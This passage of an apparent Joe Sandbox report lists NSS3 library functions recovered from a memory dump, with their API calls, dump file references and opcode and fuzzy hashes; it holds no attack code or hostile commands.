Part of subcall function 6C5FCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C5FCD93,?), ref: 6C5FCF0B
Part of subcall function 6C5FCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C5FCD93,?), ref: 6C5FCF1D

Part of subcall function 6C5FCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF47
Part of subcall function 6C5FCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF67
Part of subcall function 6C5FCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C5FCD93,?,?,?,?,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF78

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2542cad36458adfd8917888d93e10a3f15556f157fdad7885ff139378e6478eb
Instruction ID: 7a180fa61162e18c5e577715fd8503b6d63dfe19c395a233e5f1ec3dd7baa872
Opcode Fuzzy Hash: 2542cad36458adfd8917888d93e10a3f15556f157fdad7885ff139378e6478eb
Instruction Fuzzy Hash: 0A51B4B6E001009BE725EF69DC40B9A73E4AF88348F250534DA6597740EB31FD06CF91

Function 6C60FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C60FFE5

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_EnterMonitor.NSS3(?), ref: 6C610004
PR_EnterMonitor.NSS3(?), ref: 6C61001B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 27f6b5cbcb8006656a3e79801f0e4e322c4cf64267d98aaf4bf1130091ccb577
Instruction ID: 2e3ab8939a1781f030611ed865d08fa4e83a200a05813f7e6eb85e507949a99b
Opcode Fuzzy Hash: 27f6b5cbcb8006656a3e79801f0e4e322c4cf64267d98aaf4bf1130091ccb577
Instruction Fuzzy Hash: CB41357524C6808BEF204A6CDC527EB72A1DB4132FF10053DE44BCAE90E7BDA569C64E

Function 6C5CEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C5CEF38

Part of subcall function 6C5B9520: PK11_IsLoggedIn.NSS3(00000000,?,6C5E379E,?,00000001,?), ref: 6C5B9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C5CEF53

Part of subcall function 6C5D4C20: TlsGetValue.KERNEL32 ref: 6C5D4C4C
Part of subcall function 6C5D4C20: EnterCriticalSection.KERNEL32(?), ref: 6C5D4C60
Part of subcall function 6C5D4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CA1
Part of subcall function 6C5D4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CBE
Part of subcall function 6C5D4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CD2
Part of subcall function 6C5D4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4D3A

PR_GetCurrentThread.NSS3 ref: 6C5CEF9E

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

free.MOZGLUE(00000000), ref: 6C5CEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5CF016
free.MOZGLUE(00000000), ref: 6C5CF022

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: dbac6830a1ddcacc32d877f7754eb075c7c26ea2e31d2ba91aa381e85498716d
Instruction ID: 7ca6a9de5d2072b0f459944ca2bd31823e2962dd0ae8d16e5d379209fa3f2ce9
Opcode Fuzzy Hash: dbac6830a1ddcacc32d877f7754eb075c7c26ea2e31d2ba91aa381e85498716d
Instruction Fuzzy Hash: EA41D371E00209ABDF018FE9DC81BEE7BB9AF48348F004029F915A7351E771D9158BA6

Function 6C5BCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C5BCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C5BD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C5BD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BD025
PR_NewLock.NSS3 ref: 6C5BD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5BD074

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 0906ce30946b7bc893e88f6a67f49fd1ff91a59dafeaf8e459769e80edefc60f
Instruction ID: 87fbff966d862e0c99a67b4ee525d5705dd5e61ffce3e48dd23da5a1f822ad6d
Opcode Fuzzy Hash: 0906ce30946b7bc893e88f6a67f49fd1ff91a59dafeaf8e459769e80edefc60f
Instruction Fuzzy Hash: 2241E3B0A013198FDB50DF29CC9479A7FE4EF48318F10416AEC19AB74AE774D885CB99

Function 6C603FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C603FF2

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C604001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C60400F

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C604054

Part of subcall function 6C59BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C59BC24
Part of subcall function 6C59BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C59BC39
Part of subcall function 6C59BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C59BC58
Part of subcall function 6C59BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C59BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C604070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6040CD

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: fef2d6fba15cb85ce6510de57461047b79b6eb5cf94a5191168ea8a0cafb1afa
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 983106B1F0034197EB149F649E81BBB3364AFE170CF144224ED09BB742FBB2E9588695

Function 6C5A2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C592D1A), ref: 6C5A2E7E

Part of subcall function 6C5F07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C598298,?,?,?,6C58FCE5,?), ref: 6C5F07BF
Part of subcall function 6C5F07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5F07E6
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F081B
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F0825

PR_Now.NSS3 ref: 6C5A2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C5A2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C592D1A), ref: 6C5A2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C592D1A), ref: 6C5A2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C5A2F81

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 3bc4d8169cc469b89057a2b838c4de89a98f7ec30360774665d3de9d5b3cf3ce
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: FF3125715021408BE710C6D7DC8BBBFB2A5EF88318F644A7AD52D97AD0EB31D887CA51

Function 6C590E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C590A2C), ref: 6C590E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C590A2C), ref: 6C590E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C590A2C), ref: 6C590E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C590A2C), ref: 6C590E90
free.MOZGLUE(00000000), ref: 6C590EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C590A2C), ref: 6C590ED9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9912134f6fe405fbe12b0ef7db9e357fbae41ef663ac4c4f8bddbe52a01e947f
Instruction ID: 31c0cf9d8ce64c43966e2ffeae9ee0fe1cd1a531bcdab91c4e177efa2a53fa4b
Opcode Fuzzy Hash: 9912134f6fe405fbe12b0ef7db9e357fbae41ef663ac4c4f8bddbe52a01e947f
Instruction Fuzzy Hash: 83213E72E002C497EF1089669C85B6B76AFDBC9748F190CB7D81C97B02EB60CC1582A1

Function 6C59AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C59AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C59AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C59AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C59AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C6B9500), ref: 6C59AF23

Part of subcall function 6C5EF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C5EF0C8
Part of subcall function 6C5EF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59AF37

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 89204a336f68df9718e72bd9edb99207e635406097b45e1d5f6a6de97ab6e677
Instruction ID: db83e0cf1cba6e5b36e62f93a6e8feb0f7aa2b8db0c3607e454255fa157b0594
Opcode Fuzzy Hash: 89204a336f68df9718e72bd9edb99207e635406097b45e1d5f6a6de97ab6e677
Instruction Fuzzy Hash: 5C213AB6D09240ABEB108F189C41B9A7BA4AFC572CF144355FC159B781E731D90587BB

Function 6C61EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61EE85
realloc.MOZGLUE(FA097650,?), ref: 6C61EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C61EEC5

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

htonl.WSOCK32(?), ref: 6C61EEE3
htonl.WSOCK32(00000000,?), ref: 6C61EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C61EF01

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: d58d8337934dc999bfac608f1cb8725a98f0e751c1c7979acb8b1a404e7eea65
Instruction ID: 07bb4c9d107030589c764f1facaad5ff48bac0ae14c0e3485c1602c12f9aec73
Opcode Fuzzy Hash: d58d8337934dc999bfac608f1cb8725a98f0e751c1c7979acb8b1a404e7eea65
Instruction Fuzzy Hash: 0921E771A042249FCF109F2CDC84B9A77A4EF49359F148129EC199BE41D730EC15CBEA

Function 6C5CEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5CEE49

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5CEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C5CEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C5CEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5CEEB3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 4ba653fb3fe424ceada5ecd50de4b44908a1d94d651b5c3bd19f1e32f3faf93e
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 0721ABB6A00210ABEB118E54DC81EAB7759EF89758F044568FD04AB751E7B1EC14C7F1

Function 6C597F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C597F68

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C597F7B

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C597FA7

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6B919C,?), ref: 6C597FBB

Part of subcall function 6C5EB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6C18D0,?), ref: 6C5EB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C597FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C6B915C,00000014), ref: 6C597FFE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 8d11ceada72b82cfa6461defe41b6b0cfbf8b8532ca71968a8bfdb91df4545db
Instruction ID: 4d1adea4daf5dc24258c7e2f729f0247e20c5bf0696549474363e6f1d598c55e
Opcode Fuzzy Hash: 8d11ceada72b82cfa6461defe41b6b0cfbf8b8532ca71968a8bfdb91df4545db
Instruction Fuzzy Hash: 631127B1D0024497F710AA25AC40BBB72E8DF9569CF04062AEC6AE2A41F720A948C6A5

Function 6C59BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C61DC29,?), ref: 6C59BE64

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C61DC29,?), ref: 6C59BE78

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C61DC29,?), ref: 6C59BE96

Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C61DC29,?), ref: 6C59BEBB

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C61DC29,?), ref: 6C59BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C61DC29,?), ref: 6C59BEF3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
